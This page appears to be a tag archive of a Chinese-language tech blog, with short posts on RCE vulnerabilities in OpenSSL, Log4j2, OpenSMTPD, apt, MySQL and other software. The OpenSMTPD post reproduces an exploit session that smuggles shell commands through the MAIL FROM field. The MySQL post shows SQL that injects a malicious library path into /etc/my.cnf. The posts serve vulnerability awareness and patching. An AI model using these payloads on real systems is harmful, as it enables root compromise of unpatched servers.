Tag: rce

OpenSSL 3.0 RCE

OpenSSL 居然出了一包 RCE：「CVE-2022-3786 and CVE-2022-3602: X.509 Email Address Buffer Overflows」，security advisory 在「OpenSSL Security Advisory [01 November 2022]」這邊。

看第一個 CVE-2022-3602，本來看到這個 CVE 號碼為覺得應該是年初的號碼 (現在已經三萬多了？)，但依照官方的說法是十月的事情，看起來是用假名回報 (Polar Bear)：

This issue was reported to OpenSSL on 17th October 2022 by Polar Bear.
The fixes were developed by Dr Paul Dale.

在 CVE 的頁面上也可以看到「Date Record Created」這邊標的是 20221019，不知道是什麼情況。

另外一組 CVE-2022-3786 也是類似的情況，官方收到也是十月的事情：

This issue was discovered on 18th October 2022 by Viktor Dukhovni while
researching CVE-2022-3602. The fixes were developed by Dr Paul Dale.

在 CVE 頁面上則是標 20221101 建立，昨天的事情。

這次出事的範圍是 3.0.0 系列的 OpenSSL，前面的 1.1 與 1.0 系列是沒中的：

[T]he bugs were introduced as part of punycode decoding functionality (currently only used for processing email address name constraints in X.509 certificates). This code was first introduced in OpenSSL 3.0.0. OpenSSL 1.0.2, 1.1.1 and other earlier versions are not affected.

Ubuntu 上中的是 22.04 的 jammy 以及之後的版本，包括了 22.10 的 kinetic。還在用 20.04 的基本上都還是 1.1 系列的 OpenSSL 在跑，這次沒被貓到。

Linux 無線網路的 RCE 洞

在 Hacker News 首頁上看到 Linux 無線網路的 RCE 漏洞：「Some remotely exploitable kernel WiFi vulnerabilities」，mailing list 的信件是這邊：「[oss-security] Various Linux Kernel WLAN security issues (RCE/DOS) found」。

裡面題到了五個漏洞，其中屬於 RCE 的是這三個：

  • CVE-2022-41674: fix u8 overflow in cfg80211_update_notlisted_nontrans (max 256 byte overwrite) (RCE)
  • CVE-2022-42719: wifi: mac80211: fix MBSSID parsing use-after-free use after free condition (RCE)
  • CVE-2022-42720: wifi: cfg80211: fix BSS refcounting bugs ref counting use-after-free possibilities (RCE)

第一個只寫「An issue was discovered in the Linux kernel through 5.19.11.」，但討論上看到說應該是 5.1+，第二個在 CVE 裡面有提到是 5.2+，第三個是 5.1+。然後已經有看到 PoC code 了...

對於用 Linux 筆電的人得等各家 distribution 緊急出更新；但有些無線網路設備不知道怎麼辦...

Log4j2 的 RCE

昨天爆出來 Log4j2 的 RCE，看了一下 pattern，只要是 Java stack 應該都很容易中獎：「Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package」，Hacker News 上對應的討論在「Log4j RCE Found (lunasec.io)」這邊可以看。

LunaSec 宣稱這是 0-day RCE，不過 Log4j2 的修正版本 2.15.0 在 2021/12/06 出了，而 exploit 被丟出來是 2021/12/09，但不確定在這之前是不是已經有 exploit 在 internet 上飛來飛去了...

丟出來的 exploit sample (CVE-2021-44228-Apache-Log4j-Rce) 是用 LDAP 來打，雖然大多數的 Java 版本不受影響，但還是有其他的面可以攻擊，所以整體上還是很容易打穿，該升級的還是得趕快升級：

Updates (3 hours after posting): According to this blog post (see translation), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.

However, there are other attack vectors targeting this vulnerability which can result in RCE. An attacker could still leverage existing code on the server to execute a payload. An attack targeting the class org.apache.naming.factory.BeanFactory, present on Apache Tomcat servers, is discussed in this blog post.

週末苦命時間...

OpenSMTPD RCE

在「OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)」這邊看到頗意外的 OpenSMTPD RCE，而且從「Qualys Security Advisory LPE and RCE in OpenSMTPD (CVE-2020-7247)」這邊的範例可以看到是個淺顯易懂的 exploit：

$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye

這樣有點歡樂...

最近的 nginx + php-fpm 安全性漏洞

這次的漏洞是在打 CTF (capture the flag) 的時候發現的，這個安全漏洞已經被給 CVE 編號並且修正了：「CVE-2019-11043」，回報者與官方的討論可以在「Sec Bug #78599 env_path_info underflow in fpm_main.c can lead to RCE」這邊看到。從回報的標題可以知道這次頗熱鬧的原因，是因為這次有機會 RCE (remote code execution)...

在「PHuiP-FPizdaM」這邊可以看到比較系統性的整理 (以及 exploit)，看起來雖然有不少條件，但都不算太特別的指令，如果以全世界的機器來看，應該會有不少機器中獎...

apt-get 的安全性漏洞

前幾天寫的「APT 不使用 HTTPS 的說明」的當下就已經有看到在講這個漏洞，但沒讀完就一直放著沒寫：「Remote Code Execution in apt/apt-get」。

漏洞出在實作上的問題，對於 HTTP 重導的程式碼沒有處理好外部字串，在還沒修正的機器上用這個指令關閉 redirect，避免在修正的過程反而被 RCE 打進去：

sudo apt update -o Acquire::http::AllowRedirect=false
sudo apt upgrade -o Acquire::http::AllowRedirect=false

但也不是 HTTPS 就能避免這個問題，因為 HTTPS 連線用的程式碼又是另外一份，裡面不知道有沒有問題 (像是之前經典的 Heartbleed)，所以應該還是會繼續爭吵吧...

7-Zip 的 RCE 安全性問題

7-Zip 被發現安全性問題 (CVE-2018-10115)：「7-Zip: From Uninitialized Memory to Remote Code Execution」。而在 2018/04/30 推出的 18.05 修正了這個問題：「7-Zip 18.05」。

The vulnerability in RAR unpacking code was fixed (CVE-2018-10115).

除了修正以外，另外也開了 ASLR，對安全性會多一些防禦：

2018-03-06 - Discovery
2018-03-06 - Report
2018-04-14 - MITRE assigned CVE-2018-10115
2018-04-30 - 7-Zip 18.05 released, fixing CVE-2018-10115 and enabling ASLR on the executables.

手上有裝 7-Zip 的人要記得更新...

Dnsmasq 的安全性漏洞

Google 這次出手炸的好痛：「Behind the Masq: Yet more DNS, and DHCP, vulnerabilities」。

當需要在 client 端處理 DNS 的事情，有蠻多開發者都會選擇用 Dnsmasq 處理，這次直接拉出七個 CVE (編號 CVE-2017-13704 與 CVE-2016-{14491-14496})，其中三個是 RCE：

看了一下，Ubuntu 也推出更新了，接下來有一堆機器要升級 Dnsmasq... :o

iOS 透過無線網路的 RCE...

在「About the security content of iOS 10.3.1」這邊的說明：

Available for: iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later
Impact: An attacker within range may be able to execute arbitrary code on the Wi-Fi chip
Description: A stack buffer overflow was addressed through improved input validation.
CVE-2017-6975: Gal Beniamini of Google Project Zero

這描述看起來就不太妙...

MySQL 全系列的安全性漏洞

包含 MySQL 本家與所有從 MySQL 改出去的分支都中了，引用 Percona 的通報：「Percona Server Critical Update CVE-2016-6662」。

This is a CRITICAL update, and the fix mitigates the potential for remote root code execution.

原始的 security advisory 在「CVE-2016-6662 - MySQL Remote Root Code Execution / Privilege Escalation ( 0day )」這邊，雖然是標 0day，但發現的人在七月時就有先通報給 vendor 們讓他們有時間修正：

The vulnerability was reported to Oracle on 29th of July 2016 and triaged by the security team. It was also reported to the other affected vendors including PerconaDB and MariaDB.

Oracle 還沒修正，也就是 upstream 目前仍然是有問題的，目前得靠其他 vendor 修正：

Official patches for the vulnerability are not available at this time for Oracle MySQL server.

其中 Percona 與 MariaDB 都已經先推出修正版本了：

The vulnerabilities were patched by PerconaDB and MariaDB vendors by the end of 30th of August.

然後看了一下這個漏洞，從 SQL 指令可以做檔案操作一路打出來... 可以看到範例：

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

這下苦了...